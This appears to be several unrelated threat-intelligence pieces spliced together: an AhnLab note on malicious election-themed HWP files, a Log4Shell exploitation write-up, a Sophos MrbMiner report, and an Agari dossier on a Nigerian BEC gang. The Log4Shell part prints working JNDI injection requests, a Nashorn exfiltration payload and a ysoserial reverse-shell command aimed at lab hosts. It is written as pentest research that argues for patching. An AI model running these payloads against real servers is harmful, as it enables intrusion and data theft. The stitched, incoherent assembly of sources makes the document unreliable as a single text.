- Zip archive of the malware: 2018-02-01-Trickbot-malware-samples.zip (542 kB, 541,817 bytes)
All zip archives are password-protected with the standard password. If you don't know it, look at the "about" page of this website. |
# 20대 대통령선거 선상투표 보도자료 가장한 악성 한글문서 유포
2022년 3월 3일
대선을 앞두고 ASEC 분석팀은 “20대 대통령선거 선상투표 보도자료”를 가장한 악성 한글 문서가 유포 중임을 확인하였다. 공격자는 02/28일 악성 한글 문서를 유포하였으며 해당 악성 문서는 확보되지 않았지만, 자사 ASD(AhnLab Smart Defense) 인프라 로그에 따르면 내부 OLE 개체를 통해 배치파일을 구동하여 파워쉘을 실행하는 형태로 추정된다.
유포 파일명: 보도자료(220228)_3월_1일___3월_4일_제20대_대통령선거_선상투표_실시(최종).hwp
%TEMP%\mx6.bat (배치파일 생성 경로)
이와 유사한 형태의 공격은 지난 2월 7일에도 확인되었다. 기사에 따르면 공격자는 중앙선거관리위원회(선관위)를 사칭하고 “제20대 대통령선거 선거권자 개표참관인 공개 모집”라는 정상 문서로 위장하여 악성 문서를 유포하였다.
북한 해킹조직이 중앙선거관리위원회(선관위)를 사칭한 해킹 메일을 유포 중인 것으로 8일 파악됐다. 선관위에서 배포한 보도자료를 활용한 점으로 미뤄 언론사 기자들을 목표로 공격을 수행 중일 가능성이 높아 주의가 요구된다.
당시 유포되었던 악성 한글 문서와 이번 공격에 사용된 문서의 공통점은 다음과 같다.
- 동일한 기관(선관위)으로 위장하여 악성 한글 문서 유포
- OLE 개체 방식으로 배치 파일 실행 유도
- 지난 2/7일자 선관위 사칭 공격에 사용된 것($kky4)과 유사한 변수명($kkx9)을 포함한 파워쉘 커맨드
- 파워쉘 커맨드 일부: ($kkx9='[DllImport(“user32.dll”)] public static extern bool ShowWindow(int handle, int state);’)
정상적인 공식 한글 문서는 중앙선거관리위원회 공식 홈페이지에서 확인할 수 있으며 사용자는 출처가 불분명한 사이트에서 이와 유사한 문서를 다운로드받을 경우 의심해야 한다.
공격자는 20대 대선이 다가옴에 따라 선관위를 사칭한 다양한 공격을 수행하고 있는 것으로 보인다. 안랩에서는 유사한 악성 행위에 대해 계속해서 모니터링하고 있으며 새로운 정보가 있을 시 빠르게 공유할 예정이다.
## 안랩 V3 제품 대응
- Execution/MDP.Powershell.M4208
연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.
**Categories:** 악성코드 정보
**Tagged as:** 선관위, 한글문서 |
# The Long Tail of Log4Shell Exploitation
It’s been more than six months since the Log4Shell vulnerability (CVE-2021-44228) was disclosed, and a number of post-mortems have come out talking about lessons learned and ways to prevent the next Log4Shell-type event from happening. The reality on the ground though is that the vulnerability is far from dead. For the first six months of this year, NodeZero, our autonomous pentesting tool, has detected and exploited Log4Shell in close to a quarter of the environments it’s run in, and that rate has held steady month over month. This is consistent with the recent CISA advisory sounding the alarm that threat actors are continuing to exploit VMWare Horizon servers using Log4Shell.
| Month (2022) | % Internal Networks that NodeZero Detected & Exploited Log4Shell |
|--------------|-------------------------------------------------------------------|
| January | 22.0 |
| February | 25.9 |
| March | 32.1 |
| April | 23.3 |
| May | 18.5 |
| June | 22.1 |
| **Total** | **23.5** |
Naturally, a lot of exploitation of Log4Shell to date has been focused on well-known, widely deployed applications such as VMware Horizon, VMware vCenter, and the Unifi Network application. But this is the tip of the iceberg. There are probably thousands of Java applications out there impacted by Log4Shell to varying degrees, and thousands of new exploit paths to be discovered. All it takes is for a motivated attacker to turn his or her focus onto a specific application being run by an enterprise, and within a day or two, an exploit can be potentially developed and weaponized.
We’ll walk through the exploit process below, leading to remote code execution, against a few applications: VMware Site Recovery Manager, Elasticsearch 5, and OpenNMS. The purpose of this is to demonstrate the widespread and long-standing impact of Log4Shell and the speed at which exploits can be developed. Ultimately, one of the goals of NodeZero as a pentesting tool is to surface the true impact of various vulnerabilities, misconfigurations, and compromised credentials. We believe this impact is best demonstrated through proof of actual exploitation. We’ve seen that knowledge of this kind of impact is what enables companies to accurately evaluate risk and prioritize the work needed to best improve their security posture.
## Background
We assume readers are familiar with how the Log4Shell vulnerability works. If you need a refresher, we’ve written previously about Log4Shell before here and here.
In general, the exploit process for Log4Shell consists of two steps:
1. **Identifying a JNDI lookup injection point**: This is the network request that an unauthenticated attacker sends to the application that will cause the application to log a message using the vulnerable Apache log4j2 library, which in turn will cause the application to make a JNDI lookup to an attacker-hosted server.
2. **Figuring out what Java payload to serve from the attacker-hosted server**: This is the payload that’s retrieved by the vulnerable application via the JNDI lookup and deserialized to execute remote code.
For the first step, to verify the JNDI lookup injection point, we used the DNSLog service at dnslog.cn to catch DNS callbacks from the vulnerable application. Other tools like Burp Collaborator or an Interactsh server can also be used for this purpose.
## Exploiting VMware Site Recovery Manager
VMware Site Recovery Manager is “the industry-leading disaster recovery (DR) management solution, designed to minimize downtime in case of a disaster.” It’s one of many VMware applications affected by Log4Shell from the VMware Log4Shell advisory. We installed version 8.3.0 in our lab. The application exposes two ports, 443 for the SRM application and 5480 for managing the SRM appliance.
### Detection
For a quick win, we initially tried inserting a JNDI payload into the username field of the login form of the SRM application, but we failed to get a DNS callback. So then we pulled the jar files from the SRM appliance and decompiled them, and started probing API endpoints that an unauthenticated attacker could access. Shortly after we identified an injection point in the `OAuth2LoginServlet` using the `error` parameter. The servlet is accessible at the `/dr/authentication/oauth2/oauth2login` endpoint.
We verified the injection point by sending an HTTP GET request of this form:
```bash
curl --path-as-is -k 'https://10.0.40.79/dr/authentication/oauth2/oauth2login?error=%24%7Bjndi:ldap:%2f%2fil2gm4.dnslog.cn:1389%7D'
```
And got the expected DNS callback.
### Exploitation
Just like Horizon and vCenter, SRM uses Apache Tomcat as its application server. Tomcat-based applications that are vulnerable to Log4Shell are easy to exploit for remote code execution, regardless of the Java runtime version. The general technique is described here and automated by the JNDI-Exploit-Kit tool.
We started up JNDI-Exploit-Kit on the attacker server to serve a bash reverse shell payload, and a netcat listener to catch a reverse shell on port 9999:
Then fired off the HTTP request to trigger the callback to the JNDI-Exploit-Kit server:
```bash
curl --path-as-is -k 'https://10.0.40.79/dr/authentication/oauth2/oauth2login?error=%24%7Bjndi:rmi:%2f%2f10.0.220.200:1099%2fnyceyo%7D'
```
And got a shell as the `tomcat` user.
NodeZero automates all the above steps, resulting in the following proof demonstrating remote code execution against a vulnerable SRM instance.
### Impact
SRM is not typically deployed to be Internet facing. We only found ~20 of them publicly exposed using Shodan. However, we do see it occasionally in internal pentests, and it could be an attractive target for threat actors seeking to make a ransomware incident even more painful by disrupting disaster recovery plans. We recommend updating the appliance to the latest version per VMware’s advisory or applying the workaround described here.
## Exploiting Elasticsearch 5
Elasticsearch is a popular open-source distributed search and analytics engine. The Elasticsearch advisory for Log4Shell says that only Elasticsearch 5 is vulnerable to remote code execution because of the way Elasticsearch uses the Java Security Manager to lock down permissions. We were able to confirm this is the case – in vulnerable versions of Elasticsearch versions 6 and beyond, the application will perform DNS lookups of attacker-controlled host names but not initiate any TCP connections to attacker-controlled servers. The DNS lookups can be used to leak system information such as environment variables, but remote code execution is not possible. This can be seen through the difference in the `security.policy` file for version 5.6 vs. version 6.0.
For testing, we set up various versions of Elasticsearch 5 from the Elasticsearch docker repo at `docker.elastic.co/elasticsearch`.
### Detection
We found a few methods to trigger JNDI lookups through the Elasticsearch REST API by creating resources like types or triggering deprecation warnings. However, we found these methods to be too destructive/noisy, or they didn’t work universally against all versions of Elasticsearch 5.
Looking more closely at the source code and issues on Github, we found an issue indicating that sending a malformed JSON as part of a search request will trigger an internal server error that is then logged. We verified this works against all versions of Elasticsearch 5 and beyond up to 7.6. For instance:
```bash
curl --path-as-is -X GET 'http://192.168.0.140:9200/_search?a=$%7Bjndi:ldap://oyfbln.dnslog.cn%7D' -d '{'
```
Triggers this error, which results in a DNS callback.
### Exploitation
Elasticsearch runs on the Netty framework, so the Tomcat-based exploit used against VMware Site Recovery Manager doesn’t apply here. We decided to explore the next best option, which is a remote class-loading attack against applications running with Java runtime versions < 8u191. This remote class-loading attack is automated by tools like rogue-jndi.
We pulled a bunch of different versions of Elasticsearch 5 from the `docker.elastic.co/elasticsearch` repo to understand the Java runtime version they were bundled with. We found that all versions from 5.0.0 to 5.6.12 were running Java runtime versions < 8u191, and versions from 5.6.13 to 5.6.16 were running Java runtime >= 8u191.
While not everyone runs Elasticsearch using Docker images from `docker.elastic.co/elasticsearch`, we surmise from this that most of the Elasticsearch 5 instances running in the wild are exploitable to remote code execution using the remote class-loading attack.
One wrinkle we discovered with exploitation is that remote code execution is not the same as arbitrary code execution. In particular, because of Elasticsearch’s usage of the Security Manager, running host commands directly with `Runtime.exec` or `ProcessBuilder` was not possible, and access to the file system was limited. We did find it was possible to make arbitrary network calls, read from/write to a few directories like `/tmp`, and run stuff in memory like a crypto miner.
For instance, to send a network request to an internal server hosted at 10.0.220.54 and send the response back to the attacker’s server on port 9999, we modified the `HTTPServer` class in rogue-jndi to use the following payload:
```java
{ new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("var response = ''; var is = new java.io.BufferedReader(new java.io.InputStreamReader(new java.net.URL('http://10.0.220.54').openStream())); var inputLine=null; while( (inputLine=is.readLine()) != null) response += inputLine; is.close(); var s = new java.net.Socket('192.168.0.140', 9999); var os = new java.io.BufferedWriter(new java.io.OutputStreamWriter(s.getOutputStream())); os.write(response); os.flush(); s.close();"); }
```
We set up a simple test internal server on 10.0.220.54. Then started up rogue-jndi and netcat listener on port 9999. And sent the request to trigger the JNDI lookup:
```bash
curl --path-as-is -X GET 'http://192.168.0.140:9200/_search?a=$%7Bjndi:ldap://192.168.0.140:1389/o=reference%7D' -d '{'
```
Which resulted in exfiltrating data from the internal server.
NodeZero automates all the above steps, resulting in the following proof demonstrating remote code execution against a vulnerable Elasticsearch instance.
To exploit Elasticsearch 5 versions running with Java >= 8u191, a deserialization gadget must be found among the libraries in the classpath of the Elasticsearch application. We noticed that Elasticsearch 5 pulls in the `groovy-2.4.6-indy.jar` library, which is vulnerable to CVE-2016-6814 and exploitable using the technique described here. However, we were thwarted from executing this gadget by the Security Manager and did not pursue exploitation further.
### Impact
Using the Shodan API, we found a total of 22,914 Elasticsearch servers exposed on the Internet without authentication. Of these, 1,275 were found to be running Elasticsearch 5, and among those, 955 servers are running a version <= 5.6.12, and therefore are likely to be running a Java runtime < 8u191. Based on this, we estimate there are roughly 900-1,000 Elasticsearch 5 servers on the Internet that are exploitable to remote code execution using the technique described above. Of course, it’s already bad to have an open Elasticsearch server on the Internet – now those servers can also be abused to pivot into internal networks. If you’re running a vulnerable version of Elasticsearch, we recommend following the remediation guidance in the Elasticsearch advisory to update to the latest or apply a workaround.
Kudos must be given to the Elasticsearch team for its prescient usage of the Java Security Manager and practicing “defense-in-depth.” The fallout for Elasticsearch users could have been much worse. Only a handful of Java applications have taken advantage of the Security Manager, and it’ll be interesting to see the path forward with the removal of the Security Manager with JEP-411.
## Exploiting OpenNMS
OpenNMS is an open source network monitoring solution. We installed OpenNMS Horizon version 26.2.2 using the docker-compose template.
### Detection
For a quick win, we tried injecting a JNDI payload into the username field of the login form… and it worked.
The DNS callback:
Using `curl`:
```bash
curl -X POST -k --path-as-is http://192.168.0.140:8980/opennms/j_spring_security_check -d 'j_username=${jndi:ldap://72qhcc.dnslog.cn:1389}&j_password=abcd&j_usergroups=&Login='
```
We checked the logs and found the username was getting logged by the `HybridOpenNMSUserAuthenticationProvider` class.
### Exploitation
The version of OpenNMS we were using was running with Java 11.07 using Jetty as an application server. This means the Tomcat-based exploit we used against VMware Site Recovery Manager and the older JVM based exploit we used against Elasticsearch 5 weren’t going to work. We moved to option 3: finding a deserialization gadget in one of the libraries pulled in locally OpenNMS. Looking through the jars, we found `commons-beanutils-1.9.4.jar`, for which there is a well-known deserialization gadget available using ysoserial.
Using the ysoserial-modified project, we created our reverse shell payload:
```bash
$JAVA_HOME/bin/java -jar target/ysoserial-0.0.5-SNAPSHOT-all.jar CommonsBeanutils1 bash 'bash -i >& /dev/tcp/192.168.0.140/9999 0>&1' > test_payload
```
Then served it using JNDI-Exploit-Kit and fired up a netcat listener on port 9999. Then sent the curl request to trigger the exploit:
```bash
curl -X POST -k --path-as-is http://192.168.0.140:8980/opennms/j_spring_security_check -d 'j_username=${jndi:ldap://192.168.0.140:1389/serial/CustomPayload}&j_password=abcd&j_usergroups=&Login='
```
And got the reverse shell.
NodeZero automates all the above steps, resulting in the following proof demonstrating remote code execution against a vulnerable OpenNMS instance.
### Impact
OpenNMS is not commonly deployed to be Internet-facing. Using Shodan, we found about ~100 public instances of it. We do occasionally run into it in internal pentests though, and it can also be embedded in products like Juniper Junos Space. From an attacker perspective, network monitoring solutions in general are attractive targets to compromise because they typically store credentials used to access other infrastructure in the environment. We recommend updating to the latest version per the OpenNMS advisory.
## Conclusion
Attackers are opportunistic. As we’ve shown above, Log4Shell is a vulnerability that opens up lots of opportunities. It’s normally difficult, if not impossible, for the average attacker to discover vulnerabilities leading to unauthenticated remote code execution in established applications. Log4Shell enables exactly that across lots of applications, and it’s something that can be easily weaponized by attackers on the fly.
Here’s roughly how long it took us to get to unauthenticated remote code execution in each of the above applications:
| Application | Time to Install and Configure | Time to RCE |
|-----------------------------------------------|-------------------------------|-------------|
| VMware Site Recovery Manager 8.3.0 | 1 day | 1 hour |
| Elasticsearch 5 | 1/2 day | 1 day |
| OpenNMS Horizon 26.2.2 | 1 hour | 1 hour |
In an ideal world, after the Log4Shell vulnerability was disclosed last year, all enterprises would have spent 2-3 weeks to enumerate all vulnerable applications in their environment and patch them. The reality is that enterprise patch cycles can be slow. NodeZero still occasionally encounters domain controllers that aren’t patched for critical vulnerabilities like Zerologon (CVE-2020-1472), and routinely sees Eternal Blue (CVE-2017-0143) five years after it was disclosed.
Furthermore, outside of very large enterprises, many companies operate with limited resources, must prioritize remediation relative to other work, and have to consider possible business downtime caused by patching. Log4Shell brings extra complexity to the mix because of the sheer number of applications it impacts. Patching for Log4Shell is also not always just clicking an “update” button; legacy applications may lack support altogether. And even after patching, we’ve encountered cases where the patch didn’t work as expected and needed to be re-done.
All this means that Log4Shell will be around for a very long time. We believe that the more we can do to surface the true impact of Log4Shell against vulnerable applications, the more likely it is that companies will take the steps necessary to remediate those applications, before the bad guys can get to them. |
# MrbMiner: Cryptojacking to Bypass International Sanctions
While searching through our telemetry, we found a handful of logs where a database server process (sqlservr.exe) launched a downloader executable that seemed to spontaneously appear on the server. The downloader retrieved a cryptominer called MrbMiner. Based on open-source intelligence, the miner appears to have been created, hosted, and controlled by a small software development company based in Iran.
MrbMiner was downloaded by an executable run from the Microsoft SQL server directory. While our records don’t reveal exactly how the malware gained a foothold on the database servers, it stands to reason the attackers may have used similar techniques as the MyKings, Lemon_Duck, or Kingminer miners, whose attack methods we have documented in previous articles.
When IT admins want to host a database, they have certain performance requirements: the ability to process lots of data reads and writes, and enough RAM and processor overhead to respond promptly to queries. As a result, servers hosting databases fall on the beefier side of the performance scale, which is why they’re an excellent target for attackers whose goals include the distribution of cryptocurrency miners. People who live in countries that are under strict international financial sanctions, like Iran, can leverage cryptocurrency to bypass the traditional banking system.
The MrbMiner investigation begins with the Microsoft SQL Server (sqlservr.exe) process launching a file called assm.exe, a downloader Trojan. The assm.exe program downloads the cryptominer payload from a web server, then connects to its command-and-control server to report the successful download and execution of the miner. In most cases, the payload was a file named sys.dll, which (despite its file suffix) was not a Windows DLL but a zip archive containing a cryptominer binary, configuration file, and related files.
We also found a copy of this same sys.dll payload available from a Github user account that has been subsequently shut down. Several of the servers also hosted a Linux build of the cryptominer payload, but its configuration file used a different cryptocurrency wallet address than the Windows version did.
The MrbMiner cryptojacking payload included a kernel-level device driver (WinRing0x64.sys) and a miner executable named Windows Update Service.exe to obfuscate its purpose. The executable was a modified version of the XMRig miner. The WinRing0x64.sys file is a kernel driver (publicly available on its creator’s Github page) that allows userland applications to access ring0-level resources. It gives the attacker access to features like the CPU’s model-specific register and can read from or write to memory directly. In particular, cryptominers use this driver to modify the MSR registers in order to disable CPU prefetchers, which results in a 6-7% performance improvement. This driver is a standard functionality that had been added to XMRig miners beginning around December 2019.
## Suspicious File Naming Convention Shared Across Source Domains
The MrbMiner samples we initially found came in a zip named sys.dll. Under further scrutiny, we found a large network of related files and URLs hosting them. We began by digging into the domain hardcoded into the miner’s configuration file, vihansoft.ir. This domain connected to lots of other zip files containing copies of the miner, including ones named agentx.dll and hostx.dll. These deliberately misnamed zip archives variously contained payloads named Windows Security Service.exe, Windows Host Management.exe, Install Windows Host.exe, Installer Service.exe, Microsoft Media Service.exe, and (Linux) ELF executables named linuxservice and netvhost.
Many of the identical files had been downloaded from other domains, including mrbfile.xyz and mrbftp.xyz. Several other malicious files had also been hosted on these sites, with zips named sys.dll and syslib.dll, and payloads inside the archives named Windows Security Service.exe, SecurityService.exe, and PowerShellInstaller.exe.
## Making an Attribution
In many ways, the attack seemed typical of most cryptominer attacks we’ve seen targeting internet-facing servers. Where it was distinctly different was that the attacker themselves appears to have thrown caution to the wind about concealing their identity; a lot of the records relating to the miner’s configuration, its domains, and IP addresses point to a single point of origin: a small software company based in Iran.
One reason cryptocurrency mining attacks are so frustrating is that it is hard to leverage law enforcement to address the problem. The source of the miners is usually anonymous, as is the destination of the harvested cryptocurrency value. But the MrbMiner creator may be easier to determine. The payload location and the C2 server addresses are both hardcoded into the downloader. One domain, used as both a C2 and a payload server, was vihansoft.ir, registered to a software development company based in Iran. Payloads were also downloaded directly from the same IP address used to host vihansoft.ir (and from a few other domains which contained the string “mrb,” such as mrbfile.xyz).
When we see web domains that belong to a legitimate business implicated in an attack, it’s much more common that the attackers simply took advantage of a website to (temporarily, in most cases) use its web hosting capabilities to create a “dead drop” where they can host the malware payload. But in this case, the domain’s owner is implicated in spreading the malware.
We found a reference to the business behind vihansoft.ir in the Persian-language mapping website neshan.org. Similar to Google Maps or Waze, Neshan includes business information as part of its mapping services, and the entry for a company that lists vihansoft.ir as its website names its managing director.
We found the miner downloads in the web root of the vihansoft domain, in a repository under a now-shuttered Github user account, and on the mrbfile.xyz and mrbftp.xyz domains, as well as on a small number of IP addresses. The compiled cryptominer binaries were compressed into zip files that contained .PDB debug info. These strings are artifacts of the compiler used on the machine where the executable was built. The PDB debug strings included a build path with the line “C:\Users\_____\” in it (with the name redacted here), indicating the user account under which the binary was compiled. This string matches the name associated with the Github account.
Cryptocurrency data was sent to wallets on the poolmrb.xyz and mrbpool.xyz domains as well as to the pool.supportxmr.com domain. Miner malware downloaded from the vihansoft.ir, mrbfile, and mrbftp domains communicated with the poolmrb/mrbpool domains. Neither the “mrb” domains nor vihansoft had any usable WHOIS information, but they did have one other thing in common: they all used the same WHOIS privacy service, WhoisGuard, based in Panama, to conceal the domain ownership information.
## Detection and IoCs
Cryptominer samples of MrbMiner are detected in Sophos Endpoint Protection under the definition Troj/Miner-ZD. Additional indicators of compromise have been published to the SophosLabs Github. |
# MITRE ATT&CKcon 2.0: How a Threat Hunting Team Has Upgraded Its Use of ATT&CK
YouTube: youtu.be/hAsKp43AZmM
© 2022 Google LLC |
# AGARI CYBER INTELLIGENCE DIVISION
## THREAT ACTOR DOSSIER: Scattered Canary
### Executive Summary
In a first, Agari has cataloged the evolution of a Nigerian cybercriminal organization from its emergence as a one-man shop into a powerful business email compromise (BEC) enterprise employing dozens of threat actors. BEC has continued to grow, taking the number one spot for greatest financial losses from Internet crime. In a recent report, the FBI’s Internet Crime Complaint Center (IC3) reported that more than 20,000 businesses lost nearly $1.3 billion to BEC attacks in 2018. Globally, BEC attacks have cost more than $13 billion in losses over the past five years.
With the West African gang we’ve named Scattered Canary, we have a deeper look at how business email compromise is connected to the rest of the cybercrime. With over ten years of visibility into Scattered Canary’s operations, we have deep insight into how the group grew from a single cybercriminal working Craigslist scams into an entire organization that consists of dozens of criminals, each with specific tasks.
When the first member of Scattered Canary, who, for the purposes of this report, we call Alpha, began his operations, he was a lone wolf—working mostly Craigslist scams as he learned the tricks of the trade from a mentor. However, within a few years, he had honed his craft enough to expand into romance scams, where he met his first “employee,” Beta. Once they had secured enough mules via their romance scams to launder their stolen money, they shifted from targeting individuals to targeting enterprises, and the group’s BEC operation was born.
Since its inception, at least 35 different actors have joined Scattered Canary in its fraudulent schemes. The group has turned to a scalable model through which they can run multiple types of scams at the same time. And with multiple tools designed to help them expand their operations and stay hidden from law enforcement, it is no wonder that they are seeing massive success.
While BEC remains a favorite due to its ease and success, a look into Scattered Canary’s operations demonstrates that these groups are not one-trick ponies. At any given time, Scattered Canary is involved in a number of different types of scams simultaneously—including romance scams, tax fraud, social security fraud, employment scams, and more. And this is only one organization, out of the hundreds currently residing in West Africa and around the world.
With this much involvement between members, and so much connection between crime types, we must look at the bigger picture to truly understand the enormity of the cybercrime problem. If Scattered Canary can be seen as a microcosm for the rapidly evolving organizations behind today’s most pernicious email scams, this report demonstrates that a much more holistic approach—one based on threat actor identity rather than type of fraudulent activity—is required to detect email fraud and protect organizations.
## Scattered Canary: From 419 Startup to BEC—Big Enterprise Corporation
This investigation by the Agari Cyber Intelligence Division (ACID) into the cybercriminal group we’ve named Scattered Canary offers unprecedented visibility into eleven years of fraud and criminal activities, and the growth of a 419 startup into a fully operational BEC business. From our research, we have discovered that BEC actors are playing very active roles in many other forms of criminal activities—a fact that showcases just how much of an impact these groups can create.
### Fraud as a Growth Industry
In today’s rapidly-evolving cybercrime economy, business email compromise (BEC) has emerged as a growth industry all its own. According to the most recent Internet Crime Report from the FBI’s Internet Crime Complaint Center (IC3), “revenues” for this advanced form of email fraud nearly doubled in 2018—to $1.3 billion. In all, more than $13.5 billion has been lost to BEC scams since 2013. But investigation into the criminals behind BEC shows that $13.5 billion is likely just the tip of the iceberg. Since 2015, BEC complaints have doubled year after year and currently account for 45% of all reported complaints to IC3.
### Agility: Essential for Rapid Diversification
One common misconception is that crime rings operate within set verticals—that BEC groups only run BEC scams, groups focused on romance scams only run romance scams, and so forth. But like entrepreneurs in any industry, cybercriminal organizations work to achieve growth by developing and validating scalable business models across a diversified set of revenue streams.
Throughout our research into Scattered Canary, we can see how the main threat actors encountered periods where opportunities for diversification presented themselves, and they boldly and rapidly pushed forward into new terrain. Due to their agile working practices, they have been able to bring in extra skilled “staff” at a moment’s notice, typically by flaunting their wealth to display the trappings of their success. Trust encourages a nepotistic approach to candidate selection, and many relationships are formed while still in the Nigerian education system where talent is easily spotted, and where recruitment can flourish naturally.
As we have discovered, the same groups that reap billions in BEC schemes each year are also partly to blame for the $360 million lost to romance scams, the $1 billion hijacked in real estate transactions, and millions more pilfered through W-2 scams, payroll diversions, and other types of fraud. This suite of email-based attack vectors is operated concurrently by modern-day cybergangs including Scattered Canary, and represent the apex of years of both massive growth and massive success.
### Catching Sight of Scattered Canary
Through extensive active defense engagements and research over the last six months, we have been able to build a detailed picture of not just the tactics and techniques currently used by Scattered Canary, but also historically how they have adopted these over a period of many years. While this criminal organization’s activities now center around BEC, and extend to romance scams, credit card fraud, check fraud, fake job listings, credential harvesting, tax schemes, and more, these actors came from much humbler beginnings, starting with basic Craigslist scams in 2008.
Given the wide range of its activities, the extended ecosystem of individual actors with which it collaborates, and the persistent optimism present in its range of email addresses, we have dubbed this organization “Scattered Canary.” Over the course of active engagement with operatives of this group, an ever-growing global footprint has emerged, eclipsing that of even London Blue—the UK-based threat group we uncovered in December 2018.
Scale aside, we are resolute in our conclusion that BEC can no longer be seen in isolation and thus unrelated to other email deployed criminal enterprises. Instead, we must view it as part of a larger ecosystem of cybercrime, with BEC as its current apex. Infrastructure, and actors, are common across the entire cybercrime industry, and knowing this will help to generate further discussion about ways to curtail and shut down these maturing operations.
## First Contact: Scattered Canary Comes Calling
We first identified Scattered Canary when, in a rather bold move, the group impersonated a senior executive at Agari in an email targeting our Chief Financial Officer. This isn’t the first time our CFO has been targeted by a nefarious executive impersonator. The criminal gang London Blue appeared on our radar in exactly the same way.
The answer is multifaceted. In many cases, they have not deemed it necessary to their tactics, techniques, and procedures (TTPs) to be aware of the industries of their targets. In order to carry out the high volume of attacks that these larger gangs perpetrate, they strip the process back to its most basic components, as any smart business would. The “essentials” comprise the name and email address of a CFO (or comparable financial executive) and the name and email address of the CEO for the same organization. Once they have secured this information, their reconnaissance need not go any further, as these details are fed into their existing infrastructure, and any replies will be subject to non-industry specific social engineering.
Another reason cybercriminals are lax about their targets is likely due to their geographic location. Many feel that they have a home team advantage living in Nigeria, where they are free to pay off law enforcement to look the other way. Despite the introduction of the Nigerian Cybercrime Act 2015, which carries a fine of up to 10 million naira for unlawfully accessing a computer system or perpetuating fraud by using electronic messages, cybercrime in the country has continued to expand. Criminals can often secure millions in profit through BEC and other tactics, and are both willing and able to give local law enforcement enough to keep them quiet. By doing so, they ensure that their operations can continue while they are protected from persecution.
### An Attack on Agari
On November 29, 2018, Scattered Canary sent an attack email to Agari CFO Raymond Lim, enquiring as to his availability to send out a domestic wire transfer. This display name deception attempt was quarantined by Agari Phishing Defense™, and we then actively engaged with the attacker in an attempt to establish his true intentions. What followed was a series of engagements that resulted in our team gaining deep insight into this group—including its scattershot origins, how its actors fit together, and how it achieved its remarkable growth trajectory.
### Who Is Scattered Canary? A Flock of Fraudsters Comes into Focus
BEC mastermind. Craigslist scammer. The romance victim recruited as a money mule. In our research into Scattered Canary’s growth and evolution, we were able to map out dozens of relationships, an entire infrastructure, thousands of email discussion threads, hundreds of romance and fraud victims, dozens of scam kits, and other evidence that helps connect the dots between a wide universe of threat actors and actions associated with this West African fraud ring.
In this and groups like them, hierarchical structures center on a few senior members who direct operations while outsourcing specific duties to an open web of freelance agents. In distributed networks that in some ways resemble the recombinant structure of terrorist cells, honor among these thieves runs deep. Symbiotic relationships are built, fostered, and rewarded. News of betrayal and bad “business practices” travels fast and can have a detrimental effect on an actor’s ability to work with other fraudsters, and ultimately continue their business.
In this report, we examine many of Scattered Canary’s activities, approaches, and connections, which we believe encompass only a small subset of what may be a larger organization with a more expansive circle of influence.
## From Early Bird to BEC Juggernaut: Making All the Right Moves
Scattered Canary’s fraudulent history can be traced as far back as October 2008, when the group first arrived on the cybercriminal circuit. Throughout the past decade, what was once a single threat actor working the Craigslist angle has grown into a fully operational BEC and cybercrime machine.
Over the last eleven years, Scattered Canary’s central figure, “Alpha,” transitioned from individual contributor running Craigslist scams and check fraud to CEO of an organization focused on business email compromise. Today, he directs operations and leverages outside expertise on an ad-hoc basis to test and refine new approaches to email fraud in pursuit of evermore remunerative scams. Based on intelligence gathered from Scattered Canary, we have been able to reconstruct the group’s transformation through the years—as well as dozens of tactics used in its scams. This is the story of how a 419 start-up grew into a BEC powerhouse.
### 2008–2010: Starting Small
Based on historical research into Scattered Canary’s operations, the group started with a single individual, who we call Alpha in this report. Alpha started out in the trenches of Craigslist scams with his mentor, Omega, who would expose Alpha to things like check fraud and romance scams. Alpha’s early role was fairly simple: engage with individuals, who he chose based on the goods they were selling, and then provide personal shipping addresses back to Omega. At the time, Craigslist was a training ground for West African scamming. New players to the cybercrime scene could use the platform to hone their social engineering skills before moving on to other types of fraud, such as romance scams.
The basic premise of a Craigslist check fraud has become a criminal classic, and it starts with the target listing a good or service on the platform. The scam starts when the scammer reaches out to the potential victim, often asking for the face value of the product, then offering more money in exchange for the victim sending a portion of that money to someone else. For several years, this is where Alpha would hone his scamming tradecraft, setting the stage for his BEC enterprise only seven years later.
In the years of Craigslist scams, Alpha learned about targeting individuals and how these 419 scams worked. With Omega as a mentor, Alpha learned how to use different scripts and formats to operate fraud at scale and how to convince victims to complete tasks on his behalf, oftentimes coercing them into cashing checks.
In the early days, Alpha was completing most of the grunt work when it came to dealing with people. In the fifteen-month stint of Craigslist fraud, Alpha exchanged over 1,900 emails with victims or scammers related to Craigslist and provided more than 100 addresses to Omega, who was responsible for sending fake checks to victims. Alpha aimed high with each check—typically between $2,000-$4,000.
How effective was this team? With Alpha averaging around eight victims per month in Craigslist scams, the group made an average amount of $24,000 per month, which was split amongst them. Omega and Alpha were obviously two willing participants in the fraud, but there are some pieces of the puzzle that are missing. Who was receiving the packages of money? Who picked up money face-to-face? Who was depositing the cash or sending it to Nigeria? Based on our visibility, we believe that Omega handled most of these interactions. Meanwhile, Alpha began to diversify his portfolio by dabbling into other types of crime. His first move was into romance scams.
### 2010–2014: Branching Out
Using the social engineering knowledge he gained from working Craigslist scams, Alpha began engaging in romance scams where he communicated with several victims through social media, text messages, and Google Voice. Over this period, victims sent selfies, photos with friends, love messages, and sweet nothings sharing that they’d been thinking about Alpha. In order to maintain the fraudulent persona, Alpha even sent flowers to two victims—once in 2012 and again in 2014.
But why would someone invest the time and effort into pretending to be someone else just to break their hearts? As with all scams, actors have one goal in mind: money. By pretending to be a fake lover, romance scammers are able to fool victims into giving them access to their bank accounts and retirement accounts or into purchasing prepaid debit cards to send to the fraudsters. Once a romance victim has been milked out of all the money possible, they are generally then converted into mules for when the scammer needs something physically moved from one place to another, or when he needs fraudulent funds moved between accounts.
Alpha quickly learned the value of a romance mule. By using other people to do his dirty work, he could engage with fewer clients and decrease his risk of being caught, all while seeing increased profit margins. And as Scattered Canary grew over time, romance scam victims would end up being a primary source for mule accounts.
The story of one Scattered Canary’s romance victim exemplifies the lengths to which these groups use and reuse their victims until there is literally nothing left to exploit. By March 2016, one of Scattered Canary’s members had built enough trust with a romance victim—who we’ll call Jane—that she became a frequent source of new mule accounts for the group. Since she had been converted to a mule at this point, it’s safe to assume that Scattered Canary had already stolen as much money from her as they could. Over the next eighteen months, Jane opened five mule accounts and bought twenty prepaid cards that were, unbeknownst to her, used by the group to facilitate other scams.
